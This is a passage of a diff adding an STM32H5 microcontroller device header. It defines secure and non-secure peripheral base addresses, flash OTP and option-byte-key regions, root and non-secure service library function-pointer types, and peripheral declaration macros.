Non secure peripherals */ +#define SBS_BASE_NS (APB3PERIPH_BASE_NS + 0x0400UL) +#define LPUART1_BASE_NS (APB3PERIPH_BASE_NS + 0x2400UL) +#define I2C3_BASE_NS (APB3PERIPH_BASE_NS + 0x2800UL) +#define I3C2_BASE_NS (APB3PERIPH_BASE_NS + 0x3000UL) +#define LPTIM1_BASE_NS (APB3PERIPH_BASE_NS + 0x4400UL) +#define VREFBUF_BASE_NS (APB3PERIPH_BASE_NS + 0x7400UL) +#define RTC_BASE_NS (APB3PERIPH_BASE_NS + 0x7800UL) +#define TAMP_BASE_NS (APB3PERIPH_BASE_NS + 0x7C00UL) + +/*!< AHB3 Non secure peripherals */ +#define PWR_BASE_NS (AHB3PERIPH_BASE_NS + 0x0800UL) +#define RCC_BASE_NS (AHB3PERIPH_BASE_NS + 0x0C00UL) +#define EXTI_BASE_NS (AHB3PERIPH_BASE_NS + 0x2000UL) +#define DEBUG_BASE_NS (AHB3PERIPH_BASE_NS + 0x4000UL) + +/*!< AHB4 Non secure peripherals */ +#define SDMMC1_BASE_NS (AHB4PERIPH_BASE_NS + 0x8000UL) +#define DLYB_SDMMC1_BASE_NS (AHB4PERIPH_BASE_NS + 0x8400UL) +#define FMC_R_BASE_NS (AHB4PERIPH_BASE_NS + 0x1000400UL) /*!< FMC control registers base address */ +#define OCTOSPI1_R_BASE_NS (AHB4PERIPH_BASE_NS + 0x1001400UL) /*!< OCTOSPI1 control registers base address */ +#define DLYB_OCTOSPI1_BASE_NS (AHB4PERIPH_BASE_NS + 0x0F000UL) + +/*!< FMC Banks Non secure registers base address */ +#define FMC_Bank1_R_BASE_NS (FMC_R_BASE_NS + 0x0000UL) +#define FMC_Bank1E_R_BASE_NS (FMC_R_BASE_NS + 0x0104UL) +#define FMC_Bank3_R_BASE_NS (FMC_R_BASE_NS + 0x0080UL) + +/* Flash, Peripheral and internal SRAMs base addresses - Secure */ +#define FLASH_BASE_S (0x0C000000UL) /*!< FLASH (up to 512 KB) secure base address */ +#define SRAM1_BASE_S (0x30000000UL) /*!< SRAM1 (128 KB) secure base address */ +#define SRAM2_BASE_S (0x30020000UL) /*!< SRAM2 (80 KB) secure base address */ +#define SRAM3_BASE_S (0x30034000UL) /*!< SRAM3 (64 KB) secure base address */ +#define PERIPH_BASE_S (0x50000000UL) /*!< Peripheral secure base address */ + +/* Peripheral memory map - Secure */ +#define APB1PERIPH_BASE_S PERIPH_BASE_S +#define APB2PERIPH_BASE_S (PERIPH_BASE_S + 0x00010000UL) +#define AHB1PERIPH_BASE_S (PERIPH_BASE_S + 0x00020000UL) +#define AHB2PERIPH_BASE_S (PERIPH_BASE_S + 0x02020000UL) +#define APB3PERIPH_BASE_S (PERIPH_BASE_S + 0x04000000UL) +#define AHB3PERIPH_BASE_S (PERIPH_BASE_S + 0x04020000UL) +#define AHB4PERIPH_BASE_S (PERIPH_BASE_S + 0x06000000UL) + +/*!< APB1 secure peripherals */ +#define TIM2_BASE_S (APB1PERIPH_BASE_S + 0x0000UL) +#define TIM3_BASE_S (APB1PERIPH_BASE_S + 0x0400UL) +#define TIM4_BASE_S (APB1PERIPH_BASE_S + 0x0800UL) +#define TIM5_BASE_S (APB1PERIPH_BASE_S + 0x0C00UL) +#define TIM6_BASE_S (APB1PERIPH_BASE_S + 0x1000UL) +#define TIM7_BASE_S (APB1PERIPH_BASE_S + 0x1400UL) +#define TIM12_BASE_S (APB1PERIPH_BASE_S + 0x1800UL) +#define WWDG_BASE_S (APB1PERIPH_BASE_S + 0x2C00UL) +#define IWDG_BASE_S (APB1PERIPH_BASE_S + 0x3000UL) +#define SPI2_BASE_S (APB1PERIPH_BASE_S + 0x3800UL) +#define SPI3_BASE_S (APB1PERIPH_BASE_S + 0x3C00UL) +#define USART2_BASE_S (APB1PERIPH_BASE_S + 0x4400UL) +#define USART3_BASE_S (APB1PERIPH_BASE_S + 0x4800UL) +#define UART4_BASE_S (APB1PERIPH_BASE_S + 0x4C00UL) +#define UART5_BASE_S (APB1PERIPH_BASE_S + 0x5000UL) +#define I2C1_BASE_S (APB1PERIPH_BASE_S + 0x5400UL) +#define I2C2_BASE_S (APB1PERIPH_BASE_S + 0x5800UL) +#define I3C1_BASE_S (APB1PERIPH_BASE_S + 0x5C00UL) +#define CRS_BASE_S (APB1PERIPH_BASE_S + 0x6000UL) +#define USART6_BASE_S (APB1PERIPH_BASE_S + 0x6400UL) +#define CEC_BASE_S (APB1PERIPH_BASE_S + 0x7000UL) +#define DTS_BASE_S (APB1PERIPH_BASE_S + 0x8C00UL) +#define LPTIM2_BASE_S (APB1PERIPH_BASE_S + 0x9400UL) +#define FDCAN1_BASE_S (APB1PERIPH_BASE_S + 0xA400UL) +#define FDCAN_CONFIG_BASE_S (APB1PERIPH_BASE_S + 0xA500UL) +#define SRAMCAN_BASE_S (APB1PERIPH_BASE_S + 0xAC00UL) +#define FDCAN2_BASE_S (APB1PERIPH_BASE_S + 0xA800UL) +#define UCPD1_BASE_S (APB1PERIPH_BASE_S + 0xDC00UL) + +/*!< APB2 Secure peripherals */ +#define TIM1_BASE_S (APB2PERIPH_BASE_S + 0x2C00UL) +#define SPI1_BASE_S (APB2PERIPH_BASE_S + 0x3000UL) +#define TIM8_BASE_S (APB2PERIPH_BASE_S + 0x3400UL) +#define USART1_BASE_S (APB2PERIPH_BASE_S + 0x3800UL) +#define TIM15_BASE_S (APB2PERIPH_BASE_S + 0x4000UL) +#define SPI4_BASE_S (APB2PERIPH_BASE_S + 0x4C00UL) +#define USB_DRD_BASE_S (APB2PERIPH_BASE_S + 0x6000UL) +#define USB_DRD_PMAADDR_S (APB2PERIPH_BASE_S + 0x6400UL) + +/*!< AHB1 secure peripherals */ +#define GPDMA1_BASE_S AHB1PERIPH_BASE_S +#define GPDMA2_BASE_S (AHB1PERIPH_BASE_S + 0x01000UL) +#define FLASH_R_BASE_S (AHB1PERIPH_BASE_S + 0x02000UL) +#define CRC_BASE_S (AHB1PERIPH_BASE_S + 0x03000UL) +#define RAMCFG_BASE_S (AHB1PERIPH_BASE_S + 0x06000UL) +#define ICACHE_BASE_S (AHB1PERIPH_BASE_S + 0x10400UL) +#define DCACHE1_BASE_S (AHB1PERIPH_BASE_S + 0x11400UL) +#define GTZC_TZSC1_BASE_S (AHB1PERIPH_BASE_S + 0x12400UL) +#define GTZC_TZIC1_BASE_S (AHB1PERIPH_BASE_S + 0x12800UL) +#define GTZC_MPCBB1_BASE_S (AHB1PERIPH_BASE_S + 0x12C00UL) +#define GTZC_MPCBB2_BASE_S (AHB1PERIPH_BASE_S + 0x13000UL) +#define GTZC_MPCBB3_BASE_S (AHB1PERIPH_BASE_S + 0x13400UL) +#define BKPSRAM_BASE_S (AHB1PERIPH_BASE_S + 0x16400UL) +#define GPDMA1_Channel0_BASE_S (GPDMA1_BASE_S + 0x0050UL) +#define GPDMA1_Channel1_BASE_S (GPDMA1_BASE_S + 0x00D0UL) +#define GPDMA1_Channel2_BASE_S (GPDMA1_BASE_S + 0x0150UL) +#define GPDMA1_Channel3_BASE_S (GPDMA1_BASE_S + 0x01D0UL) +#define GPDMA1_Channel4_BASE_S (GPDMA1_BASE_S + 0x0250UL) +#define GPDMA1_Channel5_BASE_S (GPDMA1_BASE_S + 0x02D0UL) +#define GPDMA1_Channel6_BASE_S (GPDMA1_BASE_S + 0x0350UL) +#define GPDMA1_Channel7_BASE_S (GPDMA1_BASE_S + 0x03D0UL) +#define GPDMA2_Channel0_BASE_S (GPDMA2_BASE_S + 0x0050UL) +#define GPDMA2_Channel1_BASE_S (GPDMA2_BASE_S + 0x00D0UL) +#define GPDMA2_Channel2_BASE_S (GPDMA2_BASE_S + 0x0150UL) +#define GPDMA2_Channel3_BASE_S (GPDMA2_BASE_S + 0x01D0UL) +#define GPDMA2_Channel4_BASE_S (GPDMA2_BASE_S + 0x0250UL) +#define GPDMA2_Channel5_BASE_S (GPDMA2_BASE_S + 0x02D0UL) +#define GPDMA2_Channel6_BASE_S (GPDMA2_BASE_S + 0x0350UL) +#define GPDMA2_Channel7_BASE_S (GPDMA2_BASE_S + 0x03D0UL) +#define RAMCFG_SRAM1_BASE_S (RAMCFG_BASE_S) +#define RAMCFG_SRAM2_BASE_S (RAMCFG_BASE_S + 0x0040UL) +#define RAMCFG_SRAM3_BASE_S (RAMCFG_BASE_S + 0x0080UL) +#define RAMCFG_BKPRAM_BASE_S (RAMCFG_BASE_S + 0x0100UL) + +/*!< AHB2 secure peripherals */ +#define GPIOA_BASE_S (AHB2PERIPH_BASE_S + 0x00000UL) +#define GPIOB_BASE_S (AHB2PERIPH_BASE_S + 0x00400UL) +#define GPIOC_BASE_S (AHB2PERIPH_BASE_S + 0x00800UL) +#define GPIOD_BASE_S (AHB2PERIPH_BASE_S + 0x00C00UL) +#define GPIOE_BASE_S (AHB2PERIPH_BASE_S + 0x01000UL) +#define GPIOF_BASE_S (AHB2PERIPH_BASE_S + 0x01400UL) +#define GPIOG_BASE_S (AHB2PERIPH_BASE_S + 0x01800UL) +#define GPIOH_BASE_S (AHB2PERIPH_BASE_S + 0x01C00UL) +#define ADC1_BASE_S (AHB2PERIPH_BASE_S + 0x08000UL) +#define ADC2_BASE_S (AHB2PERIPH_BASE_S + 0x08100UL) +#define ADC12_COMMON_BASE_S (AHB2PERIPH_BASE_S + 0x08300UL) +#define DAC1_BASE_S (AHB2PERIPH_BASE_S + 0x08400UL) +#define DCMI_BASE_S (AHB2PERIPH_BASE_S + 0x0C000UL) +#define PSSI_BASE_S (AHB2PERIPH_BASE_S + 0x0C400UL) +#define HASH_BASE_S (AHB2PERIPH_BASE_S + 0xA0400UL) +#define HASH_DIGEST_BASE_S (AHB2PERIPH_BASE_S + 0xA0710UL) +#define RNG_BASE_S (AHB2PERIPH_BASE_S + 0xA0800UL) +#define PKA_BASE_S (AHB2PERIPH_BASE_S + 0xA2000UL) +#define PKA_RAM_BASE_S (AHB2PERIPH_BASE_S + 0xA2400UL) + +/*!< APB3 secure peripherals */ +#define SBS_BASE_S (APB3PERIPH_BASE_S + 0x0400UL) +#define LPUART1_BASE_S (APB3PERIPH_BASE_S + 0x2400UL) +#define I2C3_BASE_S (APB3PERIPH_BASE_S + 0x2800UL) +#define I3C2_BASE_S (APB3PERIPH_BASE_S + 0x3000UL) +#define LPTIM1_BASE_S (APB3PERIPH_BASE_S + 0x4400UL) +#define VREFBUF_BASE_S (APB3PERIPH_BASE_S + 0x7400UL) +#define RTC_BASE_S (APB3PERIPH_BASE_S + 0x7800UL) +#define TAMP_BASE_S (APB3PERIPH_BASE_S + 0x7C00UL) + +/*!< AHB3 secure peripherals */ +#define PWR_BASE_S (AHB3PERIPH_BASE_S + 0x0800UL) +#define RCC_BASE_S (AHB3PERIPH_BASE_S + 0x0C00UL) +#define EXTI_BASE_S (AHB3PERIPH_BASE_S + 0x2000UL) +#define DEBUG_BASE_S (AHB3PERIPH_BASE_S + 0x4000UL) + +/*!< AHB4 secure peripherals */ +#define SDMMC1_BASE_S (AHB4PERIPH_BASE_S + 0x8000UL) +#define DLYB_SDMMC1_BASE_S (AHB4PERIPH_BASE_S + 0x8400UL) +#define FMC_R_BASE_S (AHB4PERIPH_BASE_S + 0x1000400UL) /*!< FMC control registers base address */ +#define OCTOSPI1_R_BASE_S (AHB4PERIPH_BASE_S + 0x1001400UL) /*!< OCTOSPI1 control registers base address */ +#define DLYB_OCTOSPI1_BASE_S (AHB4PERIPH_BASE_S + 0x0F000UL) + +/*!< FMC Banks Non secure registers base address */ +#define FMC_Bank1_R_BASE_S (FMC_R_BASE_S + 0x0000UL) +#define FMC_Bank1E_R_BASE_S (FMC_R_BASE_S + 0x0104UL) +#define FMC_Bank3_R_BASE_S (FMC_R_BASE_S + 0x0080UL) + +/* Debug MCU registers base address */ +#define DBGMCU_BASE (0x44024000UL) +#define PACKAGE_BASE (0x08FFF80EUL) /*!< Package data register base address */ +#define UID_BASE (0x08FFF800UL) /*!< Unique device ID register base address */ +#define FLASHSIZE_BASE (0x08FFF80CUL) /*!< Flash size data register base address */ + +/* Internal Flash OTP Area */ +#define FLASH_OTP_BASE (0x08FFF000UL) /*!< FLASH OTP (one-time programmable) base address */ +#define FLASH_OTP_SIZE (0x800U) /*!< 2048 bytes OTP (one-time programmable) */ + +/* Flash system Area */ +#define FLASH_SYSTEM_BASE_NS (0x0BF80000UL) /*!< FLASH System non-secure base address */ +#define FLASH_SYSTEM_BASE_S (0x0FF80000UL) /*!< FLASH System secure base address */ +#define FLASH_SYSTEM_SIZE (0x10000U) /*!< 64 Kbytes system Flash */ + +/* Internal Flash EDATA Area */ +#define FLASH_EDATA_BASE_NS (0x09000000UL) /*!< FLASH high-cycle data non-secure base address */ +#define FLASH_EDATA_BASE_S (0x0D000000UL) /*!< FLASH high-cycle data secure base address */ +#define FLASH_EDATA_SIZE (0x18000U) /*!< 96 KB of Flash high-cycle data */ + +/* Internal Flash OBK Area */ +#define FLASH_OBK_BASE_NS (0x0BFD0000UL) /*!< FLASH OBK (option byte keys) non-secure base address */ +#define FLASH_OBK_BASE_S (0x0FFD0000UL) /*!< FLASH OBK (option byte keys) secure base address */ +#define FLASH_OBK_SIZE (0x2000U) /*!< 8 KB of option byte keys */ +#define FLASH_OBK_HDPL0_SIZE (0x100U) /*!< 256 Bytes of HDPL1 option byte keys */ + +#define FLASH_OBK_HDPL1_BASE_NS (FLASH_OBK_BASE_NS + FLASH_OBK_HDPL0_SIZE) /*!< FLASH OBK HDPL1 non-secure base address */ +#define FLASH_OBK_HDPL1_BASE_S (FLASH_OBK_BASE_S + FLASH_OBK_HDPL0_SIZE) /*!< FLASH OBK HDPL1 secure base address */ +#define FLASH_OBK_HDPL1_SIZE (0x800U) /*!< 2 KB of HDPL1 option byte keys */ + +#define FLASH_OBK_HDPL2_BASE_NS (FLASH_OBK_HDPL1_BASE_NS + FLASH_OBK_HDPL1_SIZE) /*!< FLASH OBK HDPL2 non-secure base address */ +#define FLASH_OBK_HDPL2_BASE_S (FLASH_OBK_HDPL1_BASE_S + FLASH_OBK_HDPL1_SIZE) /*!< FLASH OBK HDPL2 secure base address */ +#define FLASH_OBK_HDPL2_SIZE (0x300U) /*!< 768 Bytes of HDPL2 option byte keys */ + +#define FLASH_OBK_HDPL3_BASE_NS (FLASH_OBK_HDPL2_BASE_NS + FLASH_OBK_HDPL2_SIZE) /*!< FLASH OBK HDPL3 non-secure base address */ +#define FLASH_OBK_HDPL3_BASE_S (FLASH_OBK_HDPL2_BASE_S + FLASH_OBK_HDPL2_SIZE) /*!< FLASH OBK HDPL3 secure base address */ +#define FLASH_OBK_HDPL3_SIZE (0x13F0U) /*!< 5104 Bytes HDPL3 option byte keys */ + +#if defined (__ARM_FEATURE_CMSE) && (__ARM_FEATURE_CMSE == 3U) +#define FLASH_OBK_HDPL3S_BASE_NS (FLASH_OBK_HDPL3_BASE_NS) /*!< FLASH OBK HDPL3 non-secure base address */ +#define FLASH_OBK_HDPL3S_BASE_S (FLASH_OBK_HDPL3_BASE_S) /*!< FLASH OBK HDPL3 secure base address */ +#define FLASH_OBK_HDPL3S_SIZE (0x0C00U) /*!< 3072 Bytes of secure HDPL3 option byte keys */ + +#define FLASH_OBK_HDPL3NS_BASE_NS (FLASH_OBK_HDPL3_BASE_NS + FLASH_OBK_HDPL3S_SIZE) /*!< FLASH OBK HDPL3 non-secure base address */ +#define FLASH_OBK_HDPL3NS_BASE_S (FLASH_OBK_HDPL3_BASE_S + FLASH_OBK_HDPL3S_SIZE) /*!< FLASH OBK HDPL3 secure base address */ +#define FLASH_OBK_HDPL3NS_SIZE (FLASH_OBK_HDPL3_SIZE - FLASH_OBK_HDPL3S_SIZE) /*!< 2032 Bytes of non-secure HDPL3 option byte keys */ +#endif /* CMSE */ + +/*!< Root Secure Service Library */ +/************ RSSLIB SAU system Flash region definition constants *************/ +#define RSSLIB_SYS_FLASH_NS_PFUNC_START (0xBF9FB68UL) +#define RSSLIB_SYS_FLASH_NS_PFUNC_END (0xBF9FB84UL) + +/************ RSSLIB function return constants ********************************/ +#define RSSLIB_ERROR (0xF5F5F5F5UL) +#define RSSLIB_SUCCESS (0xEAEAEAEAUL) + +/*!< RSSLIB pointer function structure address definition */ +#define RSSLIB_PFUNC_BASE (0xBF9FB68UL) +#define RSSLIB_PFUNC ((RSSLIB_pFunc_TypeDef *)RSSLIB_PFUNC_BASE) + +/** + * @brief Prototype of RSSLIB Jump to HDP level2 Function + * @detail This function increments HDP level up to HDP level 2 + * Then it enables the MPU region corresponding the MPU index + * provided as input parameter. The Vector Table shall be located + * within this MPU region. + * Then it jumps to the reset handler present within the + * Vector table. The function does not return on successful execution. + * @param pointer on the vector table containing the reset handler the function + * jumps to. + * @param MPU region index containing the vector table + * jumps to. + * @retval RSSLIB_RSS_ERROR on error on input parameter, otherwise does not return. + */ +typedef uint32_t (*RSSLIB_S_JumpHDPlvl2_TypeDef)(uint32_t VectorTableAddr, uint32_t MPUIndex); + +/** + * @brief Prototype of RSSLIB Jump to HDP level3 Function + * @detail This function increments HDP level up to HDP level 3 + * Then it enables the MPU region corresponding the MPU index + * provided as input parameter. The Vector Table shall be located + * within this MPU region. + * Then it jumps to the reset handler present within the + * Vector table. The function does not return on successful execution. + * @param pointer on the vector table containing the reset handler the function + * jumps to. + * @param MPU region index containing the vector table + * jumps to. + * @retval RSSLIB_RSS_ERROR on error on input parameter, otherwise does not return. + */ +typedef uint32_t (*RSSLIB_S_JumpHDPlvl3_TypeDef)(uint32_t VectorTableAddr, uint32_t MPUIndex); + +/** + * @brief Prototype of RSSLIB Jump to HDP level3 Function + * @detail This function increments HDP level up to HDP level 3 + * Then it jumps to the non-secure reset handler present within the + * Vector table. The function does not return on successful execution. + * @param pointer on the vector table containing the reset handler the function + * jumps to. + * @retval RSSLIB_RSS_ERROR on error on input parameter, otherwise does not return. + */ +typedef uint32_t (*RSSLIB_S_JumpHDPlvl3NS_TypeDef)(uint32_t VectorTableAddr); + +/** + * @brief Input parameter definition of RSSLIB_DataProvisioning + */ +typedef struct +{ + uint32_t *pSource; /*!< Address of the Data to be provisioned, shall be in SRAM3 */ + uint32_t *pDestination; /*!< Address in OBKeys sections where to provision Data */ + uint32_t Size; /*!< Size in bytes of the Data to be provisioned*/ + uint32_t DoEncryption; /*!< Notifies RSSLIB_DataProvisioning to encrypt or not Data*/ + uint32_t Crc; /*!< CRC over full Data buffer and previous field in the structure*/ +} RSSLIB_DataProvisioningConf_t; + +/** + * @brief Prototype of RSSLIB Data Provisioning Function + * @detail This function write Data within OBKeys sections. + * @param pointer on the structure defining Data to be provisioned and where to + * provision them within OBKeys sections. + * @retval RSSLIB_RSS_ERROR on error on input parameter, otherwise does not return. + */ +typedef uint32_t (*RSSLIB_NSC_DataProvisioning_TypeDef)(RSSLIB_DataProvisioningConf_t *pConfig); + + +/** + * @brief RSSLib secure callable function pointer structure + */ +typedef struct +{ + __IM RSSLIB_S_JumpHDPlvl2_TypeDef JumpHDPLvl2; + __IM RSSLIB_S_JumpHDPlvl3_TypeDef JumpHDPLvl3; + __IM RSSLIB_S_JumpHDPlvl3NS_TypeDef JumpHDPLvl3NS; +} S_pFuncTypeDef; + +/** + * @brief RSSLib Non-secure callable function pointer structure + */ +typedef struct +{ + __IM RSSLIB_NSC_DataProvisioning_TypeDef DataProvisioning; +} NSC_pFuncTypeDef; + +/** + * @brief RSSLib function pointer structure + */ +typedef struct +{ + NSC_pFuncTypeDef NSC; + uint32_t RESERVED1[3]; + S_pFuncTypeDef S; +}RSSLIB_pFunc_TypeDef; + +/*!< Non Secure Service Library */ +/************ RSSLIB SAU system Flash region definition constants *************/ +#define NSSLIB_SYS_FLASH_NS_PFUNC_START (0xBF9FB6CUL) +#define NSSLIB_SYS_FLASH_NS_PFUNC_END (0xBF9FB74UL) + +/************ RSSLIB function return constants ********************************/ +#define NSSLIB_ERROR (0xF5F5F5F5UL) +#define NSSLIB_SUCCESS (0xEAEAEAEAUL) + +/*!< RSSLIB pointer function structure address definition */ +#define NSSLIB_PFUNC_BASE (0xBF9FB6CUL) +#define NSSLIB_PFUNC ((NSSLIB_pFunc_TypeDef *)NSSLIB_PFUNC_BASE) + +/** + * @brief Prototype of RSSLIB Jump to HDP level2 Function + * @detail This function increments HDP level up to HDP level 2 + * Then it enables the MPU region corresponding the MPU index + * provided as input parameter. The Vector Table shall be located + * within this MPU region. + * Then it jumps to the reset handler present within the + * Vector table. The function does not return on successful execution. + * @param pointer on the vector table containing the reset handler the function + * jumps to. + * @param MPU region index containing the vector table + * jumps to. + * @retval NSSLIB_RSS_ERROR on error on input parameter, otherwise does not return. + */ +typedef uint32_t (*NSSLIB_S_JumpHDPlvl2_TypeDef)(uint32_t VectorTableAddr, uint32_t MPUIndex); + +/** + * @brief Prototype of RSSLIB Jump to HDP level3 Function + * @detail This function increments HDP level up to HDP level 3 + * Then it enables the MPU region corresponding the MPU index + * provided as input parameter. The Vector Table shall be located + * within this MPU region. + * Then it jumps to the reset handler present within the + * Vector table. The function does not return on successful execution. + * @param pointer on the vector table containing the reset handler the function + * jumps to. + * @param MPU region index containing the vector table + * jumps to. + * @retval NSSLIB_RSS_ERROR on error on input parameter, otherwise does not return. + */ +typedef uint32_t (*NSSLIB_S_JumpHDPlvl3_TypeDef)(uint32_t VectorTableAddr, uint32_t MPUIndex); + +/** + * @brief RSSLib secure callable function pointer structure + */ +typedef struct +{ + __IM NSSLIB_S_JumpHDPlvl2_TypeDef JumpHDPLvl2; + __IM NSSLIB_S_JumpHDPlvl3_TypeDef JumpHDPLvl3; +} NSSLIB_pFunc_TypeDef; + + +/** @} */ /* End of group STM32H5xx_Peripheral_peripheralAddr */ + + +/* =========================================================================================================================== */ +/* ================ Peripheral declaration ================ */ +/* =========================================================================================================================== */ + + +/** @addtogroup STM32H5xx_Peripheral_declaration + * @{ + */ + +/*!< APB1 Non secure peripherals */ +#define TIM2_NS ((TIM_TypeDef *)TIM2_BASE_NS) +#define TIM3_NS ((TIM_TypeDef *)TIM3_BASE_NS) +#define TIM4_NS ((TIM_TypeDef *)TIM4_BASE_NS) +#define TIM5_NS ((TIM_TypeDef *)TIM5_BASE_NS) +#define TIM6_NS ((TIM_TypeDef *)TIM6_BASE_NS) +#define TIM7_NS ((TIM_TypeDef *)TIM7_BASE_NS) +#define TIM12_NS ((TIM_TypeDef *)TIM12_BASE_NS) +#define TIM13_NS ((TIM_TypeDef *)TIM13_BASE_NS) +#define TIM14_NS ((TIM_TypeDef *)TIM14_BASE_NS) +#define WWDG_NS ((WWDG_TypeDef *)WWDG_BASE_NS) +#define IWDG_NS ((IWDG_TypeDef *)IWDG_BASE_NS) +#define SPI2_NS ((SPI_TypeDef *)SPI2_BASE_NS) +#define SPI3_NS ((SPI_TypeDef *)SPI3_BASE_NS) +#define USART2_NS ((USART_TypeDef *)USART2_BASE_NS) +#define USART3_NS ((USART_TypeDef *)USART3_BASE_NS) +#define UART4_NS ((USART_TypeDef *)UART4_BASE_NS) +#define UART5_NS ((USART_TypeDef *)UART5_BASE_NS) +#define I2C1_NS ((I2C_TypeDef *)I2C1_BASE_NS) +#define I2C2_NS ((I2C_TypeDef *)I2C2_BASE_NS) +#define I3C1_NS ((I3C_TypeDef *)I3C1_BASE_NS) +#define CRS_NS ((CRS_TypeDef *)CRS_BASE_NS) +#define USART6_NS ((USART_TypeDef *)USART6_BASE_NS) +#define CEC_NS ((CEC_TypeDef *)CEC_BASE_NS) +#define DTS_NS ((DTS_TypeDef *)DTS_BASE_NS) +#define LPTIM2_NS ((LPTIM_TypeDef *)LPTIM2_BASE_NS) +#define FDCAN1_NS ((FDCAN_GlobalTypeDef *)FDCAN1_BASE_NS) +#define FDCAN_CONFIG_NS ((FDCAN_Config_TypeDef *)FDCAN_CONFIG_BASE_NS) +#define FDCAN2_NS ((FDCAN_GlobalTypeDef *)FDCAN2_BASE_NS) +#define UCPD1_NS ((UCPD_TypeDef *)UCPD1_BASE_NS) + +/*!< APB2 Non secure peripherals */ +#define TIM1_NS ((TIM_TypeDef *) TIM1_BASE_NS) +#define SPI1_NS ((SPI_TypeDef *) SPI1_BASE_NS) +#define TIM8_NS ((TIM_TypeDef *) TIM8_BASE_NS) +#define USART1_NS ((USART_TypeDef *) USART1_BASE_NS) +#define TIM15_NS ((TIM_TypeDef *) TIM15_BASE_NS) +#define SPI4_NS ((SPI_TypeDef *) SPI4_BASE_NS) +#define USB_DRD_FS_NS ((USB_DRD_TypeDef *) USB_DRD_BASE_NS) +#define USB_DRD_PMA_BUFF_NS ((USB_DRD_PMABuffDescTypeDef *) USB_DRD_PMAADDR_NS) + +/*!< AHB1 Non secure peripherals */ +#define GPDMA1_NS ((DMA_TypeDef *) GPDMA1_BASE_NS) +#define GPDMA2_NS ((DMA_TypeDef *) GPDMA2_BASE_NS) +#define FLASH_NS ((FLASH_TypeDef *) FLASH_R_BASE_NS) +#define CRC_NS ((CRC_TypeDef *) CRC_BASE_NS) +#define RAMCFG_SRAM1_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM1_BASE_NS) +#define RAMCFG_SRAM2_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM2_BASE_NS) +#define RAMCFG_SRAM3_NS ((RAMCFG_TypeDef *) RAMCFG_SRAM3_BASE_NS) +#define RAMCFG_BKPRAM_NS ((RAMCFG_TypeDef *) RAMCFG_BKPRAM_BASE_NS) +#define ICACHE_NS ((ICACHE_TypeDef *) ICACHE_BASE_NS) +#define DCACHE1_NS ((DCACHE_TypeDef *) DCACHE1_BASE_NS) +#define GTZC_TZSC1_NS ((GTZC_TZSC_TypeDef *) GTZC_TZSC1_BASE_NS) +#define GTZC_TZIC1_NS ((GTZC_TZIC_TypeDef *) GTZC_TZIC1_BASE_NS) +#define GTZC_MPCBB1_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB1_BASE_NS) +#define GTZC_MPCBB2_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB2_BASE_NS) +#define GTZC_MPCBB3_NS ((GTZC_MPCBB_TypeDef *) GTZC_MPCBB3_BASE_NS) +#define GPDMA1_Channel0_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel0_BASE_NS) +#define GPDMA1_Channel1_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel1_BASE_NS) +#define GPDMA1_Channel2_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel2_BASE_NS) +#define GPDMA1_Channel3_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel3_BASE_NS) +#define GPDMA1_Channel4_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel4_BASE_NS) +#define GPDMA1_Channel5_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel5_BASE_NS) +#define GPDMA1_Channel6_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel6_BASE_NS) +#define GPDMA1_Channel7_NS ((DMA_Channel_TypeDef *) GPDMA1_Channel7_BASE_NS) +#define GPDMA2_Channel0_NS ((DMA_Channel_TypeDef *) GPDMA2_Channel0_BASE_NS) +#define GPDMA2_Channel1_NS ((DMA_Channel_TypeDef *) GPDMA2_Channel1_BASE_NS) +#define GPDMA2_Channel2_NS ((DMA_Channel_TypeDef *) GPDMA2_Channel2_BASE_NS) +#define GPDMA2_Channel3_NS ((DMA_Channel_TypeDef *) GPDMA2_Channel3_BASE_NS) +#define GPDMA2_Channel4_NS ((DMA_Channel_TypeDef *) GPDMA2_Channel4_BASE_NS) +#define GPDMA2_Channel5_NS ((DMA_Channel_TypeDef *) GPDMA2_Channel5_BASE_NS) +#define GPDMA2_Channel6_NS ((DMA_Channel_TypeDef *) GPDMA2_Channel6_BASE_NS) +#define GPDMA2_Channel7_NS ((DMA_Channel_TypeDef *) GPDMA2_Channel7_BASE_NS) + +/*!< AHB2 Non secure peripherals */ +#define GPIOA_NS ((GPIO_TypeDef *) GPIOA_BASE_NS) +#define GPIOB_NS ((GPIO_TypeDef *) GPIOB_BASE_NS) +#define GPIOC_NS ((GPIO_TypeDef *) GPIOC_BASE_NS) +#define GPIOD_NS ((GPIO_TypeDef *) GPIOD_BASE_NS) +#define GPIOE_NS ((GPIO_TypeDef *) GPIOE_BASE_NS) +#define GPIOF_NS ((GPIO_TypeDef *) GPIOF_BASE_NS) +#define GPIOG_NS ((GPIO_TypeDef *) GPIOG_BASE_NS) +#define GPIOH_NS ((GPIO_TypeDef *) GPIOH_BASE_NS) +#define ADC1_NS ((ADC_TypeDef *) ADC1_BASE_NS) +#define ADC2_NS ((ADC_TypeDef *) ADC2_BASE_NS) +#define ADC12_COMMON_NS ((ADC_Common_TypeDef *) ADC12_COMMON_BASE_NS) +#define DAC1_NS ((DAC_TypeDef *) DAC1_BASE_NS) +#define DCMI_NS ((DCMI_TypeDef *) DCMI_BASE_NS) +#define PSSI_NS ((PSSI_TypeDef *) PSSI_BASE_NS) +#define HASH_NS ((HASH_TypeDef *) HASH_BASE_NS) +#define HASH_DIGEST_NS ((HASH_DIGEST_TypeDef *) HASH_DIGEST_BASE_NS) +#define RNG_NS ((RNG_TypeDef *) RNG_BASE_NS) +#define PKA_NS ((PKA_TypeDef *) PKA_BASE_NS) + + +/*!< APB3 Non secure peripherals */ +#define SBS_NS ((SBS_TypeDef *) SBS_BASE_NS) +#define LPUART1_NS ((USART_TypeDef *) LPUART1_BASE_NS) +#define I2C3_NS ((I2C_TypeDef *) I2C3_BASE_NS) +#define I3C2_NS ((I3C_TypeDef *) I3C2_BASE_NS) +#define LPTIM1_NS ((LPTIM_TypeDef *) LPTIM1_BASE_NS) +#define VREFBUF_NS ((VREFBUF_TypeDef *) VREFBUF_BASE_NS) +#define RTC_NS ((RTC_TypeDef *) RTC_BASE_NS) +#define 